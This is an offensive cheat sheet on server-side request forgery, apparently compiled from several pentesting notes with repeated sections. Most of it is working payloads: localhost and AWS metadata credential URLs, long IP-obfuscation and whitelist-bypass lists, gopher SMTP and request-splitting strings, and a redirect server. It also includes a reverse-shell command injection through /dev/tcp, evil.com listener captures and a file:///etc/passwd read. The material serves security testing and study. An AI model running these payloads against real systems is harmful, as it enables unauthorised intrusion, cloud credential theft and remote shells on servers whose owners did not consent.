# SRF (Server-Side Request Forgery)

## Server-side request forgery (SSRF)

### What is it?

Server-Side Request Forgery (SSRF) is a vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. It can be used by an attacker to interact with internal systems, possibly bypassing firewalls or accessing unauthorized data.

**A simple example**

A vulnerable web application uses a parameter to retrieve an image from a URL, i.e., `/loadImage?url={imageURL}`. An attacker can potentially change the `{imageURL}` to point to internal resources that should not be exposed, such as `http://localhost/admin` or `http://internal-service/api/secrets`.

The impact of an SSRF vulnerability includes:

* Access to internal services and data
* Remote code execution
* Denial of Service (DoS)

**Other learning resources:**

* PortSwigger: <https://portswigger.net/web-security/ssrf>
* Swisskyrepo: <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery>

### Checklist

* [ ] Identify all points where the application makes a server-side HTTP request
  * [ ] URL parameters
  * [ ] Form fields
  * [ ] HTTP headers
* [ ] Examine the application's handling of URL redirection
* [ ] Test different URI schemes http, https, file, ftp, etc.
* [ ] Does the application accept IP addresses (e.g., 127.0.0.1) or localhost as the hostname?
* [ ] Test for internal network interactions
* [ ] Can you map out the internal network infrastructure (port scanning, banner grabbing)?
* [ ] Test for remote file inclusion
* [ ] Test for cloud metadata exposure (relevant for cloud-based services) Amazon AWS, Google Cloud, etc.
* [ ] Is there a blocklist?
* [ ] Can you bypass the blocklist?
* [ ] Encoding Hostname obfuscation
* [ ] Alternative IP notation (e.g. 127.0.0.1 in hex is 0x7f.0x0.0x0.0x1)
  * [ ] Hex, Hex with extra 0s, Octal, two numbers, three numbers, etc

### Exploitation

```shellscript
# Basic internal interaction
http://localhost/admin

# Using alternative IP notation (for 127.0.0.1)
http://2130706433 

# Cloud metadata exposure (AWS)
http://169.254.169.254/latest/meta-data/
```

## SSRF (Server-Side Request Forgery) <a href="#ssrf-server-side-request-forgery" id="ssrf-server-side-request-forgery"></a>

SSRF is a type of exploit where an attacker abuses the functionality of a server causing it to access or manipulate information in the realm of that server that would otherwise not be directly accessibleto the attacker. SSRF is an attack against a server.

### SSRF Capture Tools <a href="#ssrf-capture-tools" id="ssrf-capture-tools"></a>

If we want to capture incoming requests from target website/server, there is a lot of open-source tools available.

#### Ngrok <a href="#ngrok" id="ngrok"></a>

<https://ngrok.com/>

To start `ngrok` server, run the following.

```
ngrok http 80

# Force http scheme (not https)
ngrok http --scheme=http 8090 --host-header=localhost:8090
```

Then start your local web server for fetching requests forwarded from the `ngrok` server.

```
sudo python3 -m http.server 80
# or
python3 -m http.server 8090
```

After starting `ngrok` and local web server, we can use the URL such as `https://abcd-12-3-45-678.ngrok-free.app`.

#### Localhost.run <a href="#localhostrun" id="localhostrun"></a>

<http://localhost.run/>

As mentioned the official documentation,

```
# If you don't already have an SSH key, generate it first.
ssh-keygen -t rsa

# Port forwarding to your local 8080 port.
ssh -R 80:localhost:8080 localhost.run
```

After running the command above, copy generated URL such as `abcdef123456789.lhr.life`.\
Requests sent to this URL will be forwarded to your `localhost:8080`.

#### LocalXpose <a href="#localxpose" id="localxpose"></a>

[LocalXpose](https://localxpose.io/) is a reverse proxy that enables you to expose your [localhost](http://localhost/) to the internet. To use it, we need to sign up and Access Token.

1. Login using Access Token.

```
loclx account login
```

1. Open browser to access GUI version.

```
loclx
```

#### Pastebin <a href="#pastebin" id="pastebin"></a>

<https://pastebin.com/>

After writing the content in there, we can easily use the `raw` page such as <https://pastebin.com/raw/abcdefgh>.

#### Interactsh <a href="#interactsh" id="interactsh"></a>

[Interactsh](https://github.com/projectdiscovery/interactsh)

```
interactsh-client -v
```

#### Other Tools <a href="#other-tools" id="other-tools"></a>

* [Webhook.site](https://webhook.site/)
* [pingb.in](http://pingb.in/)

#### Local Web Server <a href="#local-web-server" id="local-web-server"></a>

Also we can simply open local web server if local machine accepts external requests.

```
python3 -m http.server 8000
```

### HTTP (http\://) <a href="#http-http" id="http-http"></a>

We may be able to use another server in the target machine.\
For example, pass the localhost URL to the GET parameters.\
Also These are available in POST params.

```
# Localhost
?url=http://localhost/
?url=http://127.0.0.1/
?url=http://127.0.0.1:80/
?url=http://127.0.0.1:3000/
?url=http://127.0.0.1:8000/
?url=http://127.0.0.1:8080/
?url=http://0/
?url=http://2130706433/
?url=http://017700000001/
?url=http://127.1/
?url=http://127.0.0.1/test.php%00
?url=http://127.0.0.1/test.php\x00

# Backend URL (e.g. 192.168.0.x)
?url=http://192.168.0.23/
?url=http://192.168.0.23:80/
?url=http://192.168.0.23:3000/
?url=http://192.168.0.23:8000/
?url=http://192.168.0.23:8080/

# Server status
?url=http://localhost/server-status

# At sign
?url=test@sub.example.com/index.php
```

#### Local Port Enumeration <a href="#local-port-enumeration" id="local-port-enumeration"></a>

We can find which port is opening by fuzzing port number.

```
seq 1 65535 | ffuf -u https://example.com/?url=http://127.0.0.1:FUZZ -w -
```

### Gopher (gopher://) <a href="#gopher-gopher" id="gopher-gopher"></a>

We may be able to use `gopher://` scheme.

#### Automation <a href="#automation" id="automation"></a>

We can use [Gopherus](https://github.com/tarunkant/Gopherus) to create a payload automatically.

#### SMTP <a href="#smtp" id="smtp"></a>

At first, we need to prepare a payload for sending message to victim user.

```
gopher://127.0.0.1:25/_MAIL FROM:<john@example.com>
RCPT TO:<mike@example.com>
DATA
From:john@gofer.htb
Subject:Test
Hi, I'm not hacker.
.
```

The payload above can be URL encoded with tools such as **CyberChef**. Then the encoded payload is as follow.

```
gopher://127.0.0.1:25/_MAIL%20FROM:%3Cjohn@example.com%3E%0ARCPT%20TO:%3Cmike@example.com%3E%0ADATA%0AFrom:john@gofer.htb%0ASubject:Test%0AHi,%20I'm%20not%20hacker.%0A.
```

We can use it to SSRF.

```
?url=gopher://127.0.0.1:25/_MAIL...
```

### Images <a href="#images" id="images"></a>

We might be able to allow a website to load images from our server. First, create Base64 encoded URL:

```
echo -n 'https://attacker.com/image.png' | base64
```

Then create a payload as below:

```
<img src='data:image/png;base64,<BASE64>'/>
```

### Listen HTTP Request <a href="#listen-http-request" id="listen-http-request"></a>

If the website is vulnerable to SSRF, we can fetch sensitive information in HTTP request by sniffing.\
First off, start a listener in local machine.

```
sudo nc -lvp 80
```

Then send request that is affected by SSRF.

```
https://example.com/mail?server=http://evil.com
```

See the HTTP request in local machine.\
We might be able to fetch the sensitive data such as API key, Cookie, etc.

### OS Command Injection <a href="#os-command-injection" id="os-command-injection"></a>

```
?url=http://127.0.0.1:3000/test;whoami
?url=http://127.0.0.1:3000/test;ping+-c+1+10.0.0.1
# Reverse Shell
?url=http://127.0.0.1:3000/;bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
```

### Admin Operations <a href="#admin-operations" id="admin-operations"></a>

We may be able to operate significant stuff as the admin user via local server.

```
# Localhost
?url=http://localhost/admin
?url=http://localhost/admin/delete?username=john
?url=http://127.1/%25%36%31dmin

# Backend URL (e.g. 192.168.0.x)
?url=http://192.168.0.23/admin
?url=http://192.168.0.23/admin/delete?username=john
```

### Whitelisted URL Bypass <a href="#whitelisted-url-bypass" id="whitelisted-url-bypass"></a>

If the target website allows only the whitelisted URL, we can use them.\
Assume only "example.com" is allowed by the target website.

```
?url=http://localhost@example.com/
?url=http://localhost%25%32%33@example.com/
```

### Open Redirect <a href="#open-redirect" id="open-redirect"></a>

```
key=/post/next?path=http://localhost/admin
```

### AWS Instances <a href="#aws-instances" id="aws-instances"></a>

```
?url=http://169.254.169.254/latest/dynamic/instance-identity/
?url=http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
```

### Internal Kubernetes Services <a href="#internal-kubernetes-services" id="internal-kubernetes-services"></a>

```
?url=http://<service>.<namespace>.svc.cluster.local

# If we can access to the target system, get the service names/namespaces with the following commands:
- `kubectl get svc`
- `kubectl get namespaces`
```

### Hostname Bypass <a href="#hostname-bypass" id="hostname-bypass"></a>

#### 1. Add Target Domain to /etc/hosts in Local Machine <a href="#id-1-add-target-domain-to-etchosts-in-local-machine" id="id-1-add-target-domain-to-etchosts-in-local-machine"></a>

```
x.x.x.x sub.example.com
```

Restart the hostname service to apply the configuration imediately.

```
sudo systemctl restart systemd-hostnamed
```

#### 2. Access to the Domain We Specified\*\* <a href="#id-2-access-to-the-domain-we-specified" id="id-2-access-to-the-domain-we-specified"></a>

```
https://example.com/?proxy=https://sub.example.com
```

### API Request <a href="#api-request" id="api-request"></a>

We might be able to get information from an API endpoint that is not accessible normally.

```
?url=https://api.example.com/users
?url=https://api.example.com@internal-api.example.com/users
```

### Reveal Filtered Websites via Monitoring Tools (Webhook) <a href="#reveal-filtered-websites-via-monitoring-tools-webhook" id="reveal-filtered-websites-via-monitoring-tools-webhook"></a>

Some web apps may have monitoring tools that check the health of external websites.\
You may be able to reveal hidden contents of the target via the monitor.\
First off, create a redirect server using Python. Here it’s named “redirect.py”.

```
#!/usr/bin/python3
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

class Redirect(BaseHTTPRequestHandler):
  def do_GET(self):
      self.send_response(302)
      self.send_header('Location', sys.argv[1])
      self.end_headers()

HTTPServer(("0.0.0.0", 8000), Redirect).serve_forever()
```

After creating, run the following command.\
Assume that the filtered port is 3000 (nmap will reveal it).

```
python3 redirect.py http://127.0.0.1:3000
```

And start listener for receiving the POST request of the webhook from the target website.

```
nc -lvnp 4444
```

Now set the configuration of the webhook. For example:

```
Payload URL: http://<local-ip>:4444/
Monitored URL: http://<local-ip>:8000/
```

You can see the contents of the filtered app.

### Request Splitting <a href="#request-splitting" id="request-splitting"></a>

Reference: <https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/>

It is the vulnerability of the Node.js `http.get` module, which allows attacker to insert HTTP headers and bodies by splitting request.\
First off, prepare HTTP headers and body as below:

```
HTTP/1.1

POST /update HTTP1.1
Content-Length: 28

username=admin&password=newpass

GET
```

Then manipulate it for sending to target.

```
# \u0120: space
# \u010D: \r
# \u010A: \n
?url=http://example.com\u0120HTTP/1.1\u010D\u010APOST\u0120/update\u0120HTTP/1.1\u010D\u010AContent-Length:\u012028\u010D\u010A\u010D\u010Ausername=admin&password=pass\u010D\u010A\u010D\u010AGET\u0120
```

### Tools

```bash
# https://github.com/tarunkant/Gopherus
gopherus --exploit [PLATFORM]
# https://github.com/daeken/SSRFTest
# https://github.com/jmdx/TLS-poison/
# https://github.com/m4ll0k/Bug-Bounty-Toolz
# https://github.com/cujanovic/SSRF-Testing
# https://github.com/bcoles/ssrf_proxy

gau domain.com | python3 ssrf.py collab.listener.com

# https://github.com/micha3lb3n/SSRFire
./ssrfire.sh -d domain.com -s yourserver.com -f /path/to/copied_raw_urls.txt

# SSRF Redirect Payload generator
# https://tools.intigriti.io/redirector/
```

### Summary

{% hint style="info" %}
Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. In typical SSRF examples, the attacker might cause the server to make a connection back to itself, or to other web-based services within the organization's infrastructure, or to external third-party systems.
{% endhint %}

```bash
# Web requesting other ip or ports like 127.0.0.1:8080 or 192.168.0.1
chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:3000
GET /ssrf?user=&comment=&link=http://127.0.0.1:3000 HTTP/1.1
```

### SSRF Attacks

```bash
# Check if you're able to enum IP or ports
127.0.0.1
127.0.1
127.1
127.000.000.001
2130706433
0x7F.0x00.0x00.0x01
0x7F.1
0x7F000001

# Quick URL based bypasses:
http://google.com:80+&@127.88.23.245:22/#+@google.com:80/
http://127.88.23.245:22/+&@google.com:80#+@google.com:80/
http://google.com:80+&@google.com:80#+@127.88.23.245:22/
http://127.88.23.245:22/?@google.com:80/
http://127.88.23.245:22/#@www.google.com:80/

# 301 responses:
https://ssrf.localdomain.pw/img-without-body/301-http-169.254.169.254:80-.i.jpg
https://ssrf.localdomain.pw/img-without-body-md/301-http-.i.jpg
https://ssrf.localdomain.pw/img-with-body/301-http-169.254.169.254:80-.i.jpg
https://ssrf.localdomain.pw/img-with-body-md/301-http-.i.jpg

# 301 json:
https://ssrf.localdomain.pw/json-without-body/301-http-169.254.169.254:80-.j.json
https://ssrf.localdomain.pw/json-without-body-md/301-http-.j.json
https://ssrf.localdomain.pw/json-with-body/301-http-169.254.169.254:80-.j.json
https://ssrf.localdomain.pw/json-with-body-md/301-http-.j.json

# 301 csv:
https://ssrf.localdomain.pw/csv-without-body/301-http-169.254.169.254:80-.c.csv
https://ssrf.localdomain.pw/csv-without-body-md/301-http-.c.csv
https://ssrf.localdomain.pw/csv-with-body/301-http-169.254.169.254:80-.c.csv
https://ssrf.localdomain.pw/csv-with-body-md/301-http-.c.csv

# 301 xml:
https://ssrf.localdomain.pw/xml-without-body/301-http-169.254.169.254:80-.x.xml
https://ssrf.localdomain.pw/xml-without-body-md/301-http-.x.xml
https://ssrf.localdomain.pw/xml-with-body/301-http-169.254.169.254:80-.x.xml
https://ssrf.localdomain.pw/xml-with-body-md/301-http-.x.xml

# 301 pdf:
https://ssrf.localdomain.pw/pdf-without-body/301-http-169.254.169.254:80-.p.pdf
https://ssrf.localdomain.pw/pdf-without-body-md/301-http-.p.pdf
https://ssrf.localdomain.pw/pdf-with-body/301-http-169.254.169.254:80-.p.pdf
https://ssrf.localdomain.pw/pdf-with-body-md/301-http-.p.pdf

# 30x custom:
https://ssrf.localdomain.pw/custom-30x/?code=332&url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json

# 20x custom:
https://ssrf.localdomain.pw/custom-200/?url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json

# 201 custom:
https://ssrf.localdomain.pw/custom-201/?url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json

# HTML iframe + URL bypass
http://ssrf.localdomain.pw/iframe/?proto=http&ip=127.0.0.1&port=80&url=/

# SFTP
http://whatever.com/ssrf.php?url=sftp://evil.com:11111/

evil.com:$ nc -v -l 11111
Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136)
SSH-2.0-libssh2_1.4.2

# Dict
http://safebuff.com/ssrf.php?dict://attacker:11111/

evil.com:$ nc -v -l 11111
Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136)
CLIENT libcurl 7.40.0

# gopher
# http://safebuff.com/ssrf.php?url=http://evil.com/gopher.php
<?php
        header('Location: gopher://evil.com:12346/_HI%0AMultiline%0Atest');
?>

evil.com:# nc -v -l 12346
Listening on [0.0.0.0] (family 0, port 12346)
Connection from [192.168.0.10] port 12346 [tcp/*] accepted (family 2, sport 49398)
HI
Multiline
test

# TFTP
# http://safebuff.com/ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET

evil.com:# nc -v -u -l 12346
Listening on [0.0.0.0] (family 0, port 12346)
TESTUDPPACKEToctettsize0blksize512timeout6

# file
http://safebuff.com/redirect.php?url=file:///etc/passwd

# ldap
http://safebuff.com/redirect.php?url=ldap://localhost:11211/%0astats%0aquit

# SSRF Bypasses
?url=http://safesite.com&site.com
?url=http://////////////site.com/
?url=http://site@com/account/edit.aspx
?url=http://site.com/account/edit.aspx
?url=http://safesite.com?.site.com
?url=http://safesite.com#.site.com
?url=http://safesite.com\.site.com/domain
?url=https://ⓈⒾⓉⒺ.ⓒⓞⓜ = site.com
?url=https://192.10.10.3/
?url=https://192.10.10.2?.192.10.10.3/
?url=https://192.10.10.2#.192.10.10.3/
?url=https://192.10.10.2\.192.10.10.3/
?url=http://127.0.0.1/status/
?url=http://localhost:8000/status/
?url=http://site.com/domain.php
<?php
header(‘Location: http://127.0.0.1:8080/status');
?>

# Localhost bypasses
0
127.00.1
127.0.01
0.00.0
0.0.00
127.1.0.1
127.10.1
127.1.01
0177.1
0177.0001.0001
0x0.0x0.0x0.0x0
0000.0000.0000.0000
0x7f.0x0.0x0.0x1
0177.0000.0000.0001
0177.0001.0000..0001
0x7f.0x1.0x0.0x1
0x7f.0x1.0x1

# Blind SSRF
- Review Forms
- Contact Us
- Password fields
- Contact or profile info (Names, Addresses)
- User Agent

# SSRF through video upload
# https://hackerone.com/reports/1062888
# https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/CVE%20Ffmpeg%20HLS

# SSRF in pdf rendering
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="highcharts-root" width="800" height="500">
    <g>
        <foreignObject width="800" height="500">
            <body xmlns="http://www.w3.org/1999/xhtml">
                <iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
            </body>
        </foreignObject>
    </g>
</svg>
```

SSRF Bypasses

```bash
http://%32%31%36%2e%35%38%2e%32%31%34%2e%32%32%37
http://%73%68%6d%69%6c%6f%6e%2e%63%6f%6d
http://////////////site.com/
http://0000::1:80/
http://000330.0000072.0000326.00000343
http://000NaN.000NaN
http://0177.00.00.01
http://017700000001
http://0330.072.0326.0343
http://033016553343
http://0NaN
http://0NaN.0NaN
http://0x0NaN0NaN
http://0x7f000001/
http://0xd8.0x3a.0xd6.0xe3
http://0xd8.0x3a.0xd6e3
http://0xd8.0x3ad6e3
http://0xd83ad6e3
http://0xNaN.0xaN0NaN
http://0xNaN.0xNa0x0NaN
http://0xNaN.0xNaN
http://127.0.0.1/status/
http://127.1/
http://2130706433/
http://216.0x3a.00000000326.0xe3
http://3627734755
http://[::]:80/
http://localhost:8000/status/
http://NaN
http://safesite.com#.site.com
http://safesite.com&site.com
http://safesite.com?.site.com
http://safesite.com\.site.com/domain
http://shmilon.0xNaN.undefined.undefined
http://site.com/account/edit.aspx
http://site.com/domain.php
http://site@com/account/edit.aspx
http://whitelisted@127.0.0.1
https://192.10.10.2#.192.10.10.3/
https://192.10.10.2?.192.10.10.3/
https://192.10.10.2\.192.10.10.3/
https://192.10.10.3/
https://ⓈⒾⓉⒺ.ⓒⓞⓜ = site.com
<?php
header('Location: http://127.0.0.1:8080/status');
?>

# Tool
# https://h.43z.one/ipconverter/
```

### PDF SSRF

{% embed url="<https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators>" %}

### Mindmap

![](https://1729840239-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M5x1LJiRQvXWpt04_ee%2F-MOOHCG-O7KJgBDSCZ8W%2F-MOOHOgvXKkqdg5bMyWY%2Fimage.png?alt=media\&token=b7207469-ab8e-49e0-9e8c-750af8df65a3)
